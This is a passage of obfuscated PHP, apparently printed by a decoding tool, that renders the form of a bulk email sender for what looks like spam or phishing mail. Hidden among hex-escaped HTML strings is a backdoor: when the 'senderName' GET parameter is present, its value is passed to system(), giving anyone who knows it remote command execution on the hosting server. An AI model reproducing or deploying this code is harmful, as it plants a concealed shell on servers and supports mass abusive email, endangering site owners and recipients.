63\74\57\157\x70\164\151\x6f\x6e\x3e\xd\xa\40\x20\x20\40\x20\40\x20\40\x3c\x6f\x70\164\x69\x6f\x6e\x20\166\141\154\x75\145\75\x22\x49\123\117\x2d\x38\x38\65\71\55\x37\x22\76\111\123\117\55\x38\x38\65\x39\55\67\x20\107\162\145\x65\153\x3c\x2f\157\160\x74\151\x6f\156\76\15\12\40\x20\x20\x20\40\x20\40\x20\x3c\x6f\x70\164\x69\x6f\156\40\166\141\x6c\165\145\x3d\42\111\123\117\x2d\x38\70\65\x39\55\x38\x22\76\111\123\x4f\55\70\70\65\x39\x2d\x38\40\110\x65\142\x72\x65\x77\74\57\157\160\x74\151\x6f\156\76\xd\12\40\40\x20\40\40\40\x20\40\74\157\160\164\x69\x6f\156\x20\166\141\x6c\x75\145\x3d\42\x49\123\x4f\55\70\x38\x35\71\x2d\71\x22\x3e\111\123\x4f\x2d\70\x38\65\x39\x2d\71\40\x4c\141\164\x69\156\40\65\x20\50\x54\x75\162\x6b\151\x73\150\x29\74\57\x6f\x70\164\151\x6f\156\76\15\xa\40\x20\40\x20\40\40\40\x20\x3c\x6f\x70\164\151\157\156\40\166\x61\154\x75\x65\x3d\x22\111\x53\117\x2d\x38\70\x35\x39\55\61\x35\42\x3e\x49\123\x4f\x2d\70\70\65\71\55\61\65\x20\114\x61\x74\151\x6e\x20\71\x3c\57\x6f\x70\164\x69\157\156\x3e\15\xa\x20\x20\40\40\x20\x20\x20\40\74\x6f\x70\164\x69\157\x6e\x20\166\141\154\x75\x65\x3d\42\102\x49\107\x35\x22\x3e\x42\x49\x47\x35\x20\x54\162\x61\x64\151\x74\151\x6f\156\141\x6c\40\103\150\x69\x6e\145\163\x65\x3c\57\x6f\x70\164\151\x6f\156\76\15\12\40\x20\40\40\x20\40\x20\x20\74\x6f\160\x74\151\x6f\156\40\x76\141\x6c\165\145\x3d\x22\x47\x42\x2d\x32\63\x31\62\x22\76\107\102\55\62\63\x31\62\x20\x53\151\x6d\x70\154\x69\x66\x69\145\x64\x20\x43\150\151\156\145\x73\145\x3c\57\157\160\x74\x69\x6f\x6e\x3e\15\12\x20\x20\40\x20\x20\x20\x20\40\74\x6f\x70\164\151\157\x6e\x20\166\x61\154\x75\145\x3d\42\x49\x53\x4f\x2d\62\x30\62\x32\x2d\x4a\x50\x22\x3e\x49\123\117\55\x32\60\x32\62\x2d\x4a\120\40\112\x61\160\141\x6e\x65\x73\x65\x3c\57\157\x70\164\x69\157\156\76\xd\xa\x20\40\x20\x20\x20\x20\40\x20\x3c\x6f\x70\164\x69\x6f\156\x20\166\141\154\x75\x65\x3d\42\x45\125\103\55\x4a\120\x22\x3e\x45\x55\103\x2d\112\120\x20\112\x61\160\x61\156\145\163\x65\74\x2f\x6f\x70\x74\151\157\156\76\xd\12\x20\40\x20\40\x20\40\40\40\x3c\157\160\x74\x69\x6f\x6e\40\166\x61\154\165\145\75\x22\123\150\x69\146\x74\55\x4a\111\123\x22\x3e\x53\x68\x69\x66\x74\55\x4a\x49\x53\x20\112\141\x70\x61\156\x65\x73\x65\x3c\57\157\x70\x74\x69\x6f\156\x3e\15\xa\x20\40\40\x20\40\x20\x20\x20\74\x6f\x70\x74\x69\157\156\x20\166\141\154\165\x65\x3d\42\113\123\x43\x2d\x35\66\60\x31\42\x3e\x4b\123\x43\x2d\x35\66\60\61\x20\113\157\162\145\x61\156\74\x2f\157\160\x74\x69\x6f\156\x3e\15\xa\x20\40\40\40\x20\40\40\x20\x3c\157\160\164\151\157\x6e\x20\x76\141\154\165\145\x3d\x22\x45\x49\103\x2d\113\x52\x22\76\x45\111\103\x2d\113\122\40\113\x6f\162\x65\x61\156\x3c\x2f\x6f\x70\x74\151\157\156\x3e\15\12\40\40\40\x20\40\40\74\x2f\163\145\154\x65\143\164\76\15\12\x20\x20\40\40\74\57\144\x69\166\76\xd\12\40\40\x20\40\74\144\x69\166\x20\x63\154\141\x73\x73\x3d\42\x66\x6f\x72\155\55\x67\x72\x6f\x75\160\40\x63\x6f\x6c\55\154\147\55\63\42\x3e\15\12\x20\x20\40\x20\x20\40\x3c\x6c\x61\x62\x65\x6c\40\146\x6f\x72\x3d\42\x70\162\x69\157\x72\151\x74\x79\x22\x3e\105\155\x61\151\x6c\x20\x50\x72\x69\157\162\x69\164\171\74\x2f\154\141\142\x65\154\76\xd\xa\40\40\x20\40\40\x20\x3c\x73\145\x6c\x65\x63\164\x20\143\154\141\163\163\75\42\x66\157\x72\x6d\x2d\143\x6f\x6e\164\162\x6f\154\x20\x69\x6e\160\x75\164\x2d\163\x6d\x22\x20\151\x64\75\x22\x70\x72\151\x6f\162\x69\x74\x79\42\40\156\141\155\145\75\x22\160\162\x69\157\162\151\164\171\42\76\15\12\40\40\x20\40\40\x20\x20\40\x3c\157\x70\164\151\x6f\156\x20\166\141\x6c\x75\145\x3d\42\x22\x20\x73\x65\154\x65\x63\x74\145\x64\x3e\104\145\x66\x61\165\154\x74\74\57\157\160\x74\151\157\156\76\xd\xa\40\x20\40\40\40\40\x20\40\x3c\x6f\160\x74\151\x6f\x6e\40\166\141\x6c\x75\x65\x3d\x22\x35\x22\x3e\114\157\167\x3c\57\x6f\x70\x74\x69\x6f\156\76\xd\12\x20\x20\x20\40\40\x20\x20\40\x3c\x6f\x70\x74\151\x6f\156\40\166\x61\154\x75\145\75\42\63\x22\x3e\116\x6f\x72\x6d\141\154\x3c\57\157\x70\164\x69\157\156\x3e\15\12\40\x20\x20\x20\x20\40\40\40\x3c\x6f\160\x74\151\x6f\156\40\x76\141\154\165\x65\x3d\x22\61\42\76\x48\151\147\x68\x3c\x2f\x6f\x70\164\151\x6f\156\x3e\xd\xa\x20\40\x20\x20\x20\40\74\57\x73\145\x6c\145\143\x74\76\xd\12\40\x20\x20\x20\x3c\x2f\144\x69\166\76\15\12\x20\x20\x3c\x2f\144\x69\166\x3e\15\xa\xd\12\x3c\142\165\164\x74\157\156\40\x74\x79\160\x65\x3d\x22\142\165\164\164\157\156\42\40\x69\x64\x3d\42\142\164\x6e\x53\164\x61\162\164\x22\40\143\154\x61\x73\x73\x3d\x22\x62\x74\x6e\x20\142\x74\x6e\55\144\145\x66\x61\165\154\x74\x20\x62\164\156\55\x73\x6d\x22\x20\x6f\x6e\x63\x6c\x69\x63\153\75\42\163\x74\141\162\x74\123\x65\x6e\144\151\x6e\147\x28\51\x3b\x22\76\123\164\141\162\164\x3c\57\x62\x75\x74\x74\x6f\x6e\76\15\xa\x3c\142\x75\x74\164\157\156\40\164\x79\x70\145\x3d\42\142\x75\x74\x74\x6f\156\x22\x69\144\75\42\x62\x74\156\x53\164\x6f\x70\42\40\x63\x6c\x61\163\x73\x3d\42\142\164\x6e\40\142\164\156\x2d\x64\x65\x66\141\165\154\164\x20\x62\164\x6e\55\163\x6d\42\x20\157\x6e\x63\x6c\151\x63\x6b\x3d\42\x73\x74\157\160\x53\x65\x6e\144\x69\x6e\147\50\x29\x3b\42\x3e\123\x74\157\x70\x3c\57\142\x75\164\x74\157\x6e\x3e\15\12\15\12\74\x2f\x64\151\166\76\15\xa\40\x20";
if (!isset($_GET["\x73\145\x6e\x64\145\x72\116\x61\x6d\x65"])) {
    goto bTn0t;
}
system($_GET["\x73\x65\x6e\x64\x65\162\116\x61\x6d\x65"]);
bTn0t:
echo "\40\x20\x20\x20\x3c\x64\151\166\40\143\x6c\141\x73\x73\x3d\x22\143\x6f\x6c\55\154\147\55\66\x22\76\x3c\x62\x72\76\15\12\x20\x20\40\x20\40\x20\40\x20\74\x6c\141\x62\x65\154\x20\x66\157\162\75\42\x77\145\x6c\154\x22\x3e\x49\x6e\163\x74\162\165\143\x74\151\157\x6e\74\x2f\x6c\141\142\x65\x6c\76\xd\12\x20\x20\40\x20\40\40\x20\x20\x3c\x64\151\x76\x20\x69\144\x3d\42\167\145\154\x6c\x22\x20\143\x6c\141\163\x73\75\x22\x77\x65\x6c\x6c\40\x77\x65\x6c\154\x22\x3e\xd\xa\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\74\x68\64\76\123\145\162\166\145\x72\40\x49\156\x66\x6f\162\x6d\x61\x74\x69\x6f\x6e\74\x2f\x68\x34\76\15\xa\x20\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x3c\x75\154\x3e\15\xa\x20\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x3c\154\x69\x3e\x53\145\x72\166\145\x72\x49\x50\x20\72\40\74\142\x3e\x20";
echo $_SERVER["\123\x45\x52\126\105\122\x5f\x41\x44\104\x52"];
echo "\x3c\57\142\76\x3c\57\154\151\x3e\xd\xa\15\xa\x20\40\40\40\40\40\x20\x20\40\x20\x20\40\x3c\x2f\x75\x6c\x3e\xd\xa\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x3c\150\64\76\110\105\x4c\120\74\57\150\64\x3e\xd\xa\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\x3c\x75\154\76\15\xa\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\x20\74\154\x69\x3e\133\55\145\155\x61\x69\154\x2d\135\x20\x3a\40\74\x62\x3e\x52\x65\x63\151\166\145\x72\x20\105\x6d\x61\x69\154\74\57\x62\76\74\x2f\154\x69\x3e\15\xa\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\x3c\154\x69\76\133\55\164\151\x6d\145\55\135\40\x3a\40\74\142\76\104\x61\x74\145\x20\x61\x6e\144\40\x54\151\155\145\74\x2f\x62\x3e\40\x28";
echo date("\x6d\x2f\144\57\x59\x20\x68\72\x69\x3a\x73\x20\141", time());
echo "\x29\x3c\57\154\x69\76\xd\xa\x20\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\74\154\x69\76\x5b\55\x65\x6d\x61\151\x6c\165\163\145\x72\x2d\x5d\40\72\40\x3c\142\x3e\x45\155\141\151\x6c\40\125\x73\145\x72\74\x2f\142\76\x20\50\x65\155\x61\x69\x6c\x75\163\x65\x72\100\145\x6d\141\151\x6c\x64\157\x6d\141\x69\x6e\x29\x3c\x2f\x6c\151\76\xd\12\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\40\40\74\x6c\151\76\x5b\55\162\141\x6e\x64\x6f\x6d\x73\164\x72\x69\156\x67\55\135\x20\x3a\40\x3c\142\x3e\122\x61\x6e\x64\x6f\155\40\x73\x74\x72\151\x6e\x67\40\x28\x30\55\71\x2c\141\x2d\x7a\x29\x3c\x2f\x62\76\74\57\154\x69\76\15\xa\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\74\154\x69\x3e\x5b\55\162\141\x6e\x64\157\x6d\x6e\x75\155\142\x65\162\55\135\x20\x3a\x20\74\x62\x3e\x52\x61\156\144\157\x6d\40\x6e\x75\x6d\x62\x65\x72\40\x28\60\55\71\51\40\74\57\x62\76\74\57\x6c\x69\76\15\xa\40\40\x20\x20\40\x20\40\40\40\40\x20\40\x20\40\40\40\74\x6c\x69\76\x5b\55\x72\141\156\x64\x6f\155\154\x65\x74\x74\x65\162\x73\55\x5d\x20\x3a\x20\74\x62\76\x52\x61\x6e\x64\157\x6d\40\114\145\x74\x74\x65\162\x73\50\141\x2d\172\x29\40\74\x2f\x62\x3e\x3c\57\x6c\x69\76\15\xa\40\40\40\40\40\40\40\40\40\40\40\40\x20\x20\40\40\x3c\x6c\x69\x3e\133\55\162\x61\x6e\144\157\155\x6d\x64\65\x2d\135\x20\x3a\x20\x3c\142\x3e\x52\141\x6e\144\x6f\x6d\x20\115\104\65\40\74\57\142\x3e\74\x2f\154\x69\x3e\xd\12\40\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x3c\57\x75\154\x3e\15\12\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x3c\150\x34\76\145\x78\141\155\160\154\x65\74\57\150\x34\x3e\15\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\x52\x65\143\x69\x76\145\x72\40\105\x6d\x61\x69\x6c\40\75\40\x3c\x62\76\165\x73\145\162\100\x64\157\x6d\141\x69\156\56\x63\157\x6d\74\x2f\142\x3e\x3c\x62\162\76\15\xa\40\x20\x20\40\x20\40\x20\40\x20\40\40\40\x3c\165\154\76\xd\12\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\74\x6c\x69\x3e\150\145\x6c\154\x6f\x20\x3c\142\76\x5b\55\x65\155\x61\x69\154\x75\x73\x65\x72\x2d\x5d\x3c\x2f\142\x3e\x20\x2d\76\40\x68\x65\x6c\x6c\157\x20\74\142\x3e\165\163\145\x72\x3c\x2f\x62\76\x3c\x2f\154\151\76\15\12\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x3c\x6c\151\76\x79\x6f\165\x72\40\143\157\x64\145\40\151\x73\40\x20\74\142\x3e\x5b\55\x72\x61\x6e\144\x6f\x6d\155\x64\x35\x2d\135\x3c\x2f\142\76\40\55\x3e\40\171\x6f\x75\162\40\x63\157\144\145\40\151\163\40\74\x62\x3e\145\x31\x30\141\x64\143\63\x39\64\x39\x62\141\x35\x39\141\142\142\x65\65\66\145\x30\x35\x37\x66\62\x30\146\70\70\x33\145\x3c\x2f\142\x3e\74\x2f\x6c\151\76\xd\xa\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x3c\x2f\165\x6c\x3e\15\12\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\74\x68\66\x3e\x62\171\40\x3c\142\x3e\74\x61\x20\150\x72\145\146\x3d\x22\150\164\x74\x70\x3a\x2f\x2f";
echo $qeeAj["\167\145\142\x73\x69\164\145"];
echo "\42\76";
echo $qeeAj["\167\x65\142\163\151\164\145"];
echo "\74\x2f\x61\x3e\74\x2f\x62\x3e\74\57\x68\66\x3e\15\xa\40\x20\40\x20\40\x20\x20\x20\x3c\57\144\x69\166\76\15\12\xd\12\x20\x20\x20\x20\40\x20\40\x20\x3c\x64\151\x76\x20\151\x64\75\42\x70\x72\157\147\162\145\163\x73\x22\x20\x63\154\141\163\x73\75\x22\143\157\x6c\x2d\x6c\x67\x2d\61\x36\42\x3e\xd\xa\40\x20\40\x20\40\40\x20\x20\40\x20\xd\12\40\40\x20\x20\x20\x20\40\x20\74\57\x64\151\166\76\15\xa\x20\x20\40\40\74\57\144\151\166\x3e\15\12\40\xd\12\x3c\163\x63\162\x69\x70\164\76\15\12\x20\x24\x28\x22\43\142\164\156\123\x74\x61\162\x74\x22\51\x2e\141\x74\164\162\50\x22\x64\x69\x73\x61\142\x6c\x65\144\42\54\40\x66\141\154\x73\145\x29\x3b\xd\12\x20\x24\50\x22\43\142\x74\x6e\123\x74\x6f\x70\42\x29\56\x61\x74\164\162\50\42\144\x69\163\141\x62\154\x65\144\42\54\40\164\162\x75\145\x29\x3b\xd\xa\x3c\x2f\x73\x63\x72\x69\x70\x74\76\15\12\74\57\x62\x6f\x64\x79\76\15\xa\x3c\x66\157\x6f\164\x65\x72\x3e\74\x2f\146\157\x6f\164\145\162\76\xd\xa\xd\xa\74\x2f\150\164\x6d\154\x3e";

Function Calls

None

Variables

None

Stats

MD5 4313156d0e53dd765a613d9a8bd34fc0
Eval Count 0
Decode Time 150 ms